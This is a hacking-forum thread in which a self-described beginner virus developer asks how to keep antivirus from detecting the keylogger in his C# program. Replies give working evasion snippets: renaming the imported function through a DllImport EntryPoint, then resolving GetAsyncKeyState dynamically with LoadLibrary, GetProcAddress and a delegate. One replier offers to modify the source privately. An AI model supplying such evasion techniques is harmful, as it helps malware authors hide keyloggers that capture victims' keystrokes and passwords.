Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

C# 

C-sharp refud help - Keylogger 1 detection

Hello, I recently started developing viruses. today i added a simple keylogger to my program. Then i got 1 detection by the 1 and only Avira. Now after ages of figuring out what it was. Its this 1 line of code -

"public static extern int GetAsyncKeyState(Int32 i);"

Then i figured out its just the GetAsyncKeyState. Is there a way a rename the call method? I have tried multiple ways but nothing. Any help is appreciated! Thank you. 🤝

Best regards CASPER
Change the name of it. Then in the DllImport attribute type EntryPoint = ”GetAsyncKeyState”

Or pm me source and I'll modify it for you
[Image: Syr3DlV.png]
Change:
Code
[DllImport("User32.dll")]

To:
Code
[DllImport("User32.dll", EntryPoint = "GetAsyncKeyState")]

for gigajew's suggestion. Then rename the function to something like:
Code
public static extern int randomFunctionLikeSetCursor(Int32 i)
fuck.
[Image: wyEbCMi.png]

Not trying to be a dick, It just comes naturally.
(Dec 24, 2018 12:47 PM)gigajew Wrote:  Change the name of it. Then in the DllImport attribute type EntryPoint = ”GetAsyncKeyState”

Or pm me source and I'll modify it for you

Still get the detection sadly i even tried [DllImport("User32.dll", EntryPoint = "GetAsync" + "Key"+"State")]
[DllImport("User32.dll", EntryPoint = "GetAsyncKeyState")]
public static extern int GetKey(Int32 i);
[Image: bitcoin.png] Be Nice For Once 15hVUVz7xA4kazHdk2BuErENGCskVwjYXP
(Dec 26, 2018 01:25 PM)HFDone Wrote:  [DllImport("User32.dll", EntryPoint = "GetAsyncKeyState")]
public static extern int GetKey(Int32 i);


Already tried man.. the AV looks for a match with the keyword GetAsyncKeyState
This is not going to work... You have to dynamically import and call api

Take a look at LoadLibrary and GetProcAddress api calls.

Code
IntPtr ptr = GetProcAddress(LoadLibrary("user.dll"),"GetAsyncKeyState");

Then you need a delegate with the function signature of GetAsyncKeyState

Code
public delegate int GAK(int i);

Now you join the two binding the ptr to the delegate

Code
GAK gak = (GAK)Marshal.GetDelegateForFunctionPointer(ptr,typeof(GAK));

Then you call your delegate as it was your function.


Possibly Related Threads...
Thread / Author Replies Views Last Post
[C#] by nicodemoMar 6, 2023 09:56 AM 2 293 Mar 6, 2023 09:56 AM
Last Post: _Gripas_
[.NET] by pro_fesnoobSep 24, 2022 04:24 PM 14 797 Sep 24, 2022 04:24 PM
Last Post: BinaryFox
[C#] by VentureMar 29, 2021 02:08 PM 8 1,532 Mar 29, 2021 02:08 PM
Last Post: OldHolBorn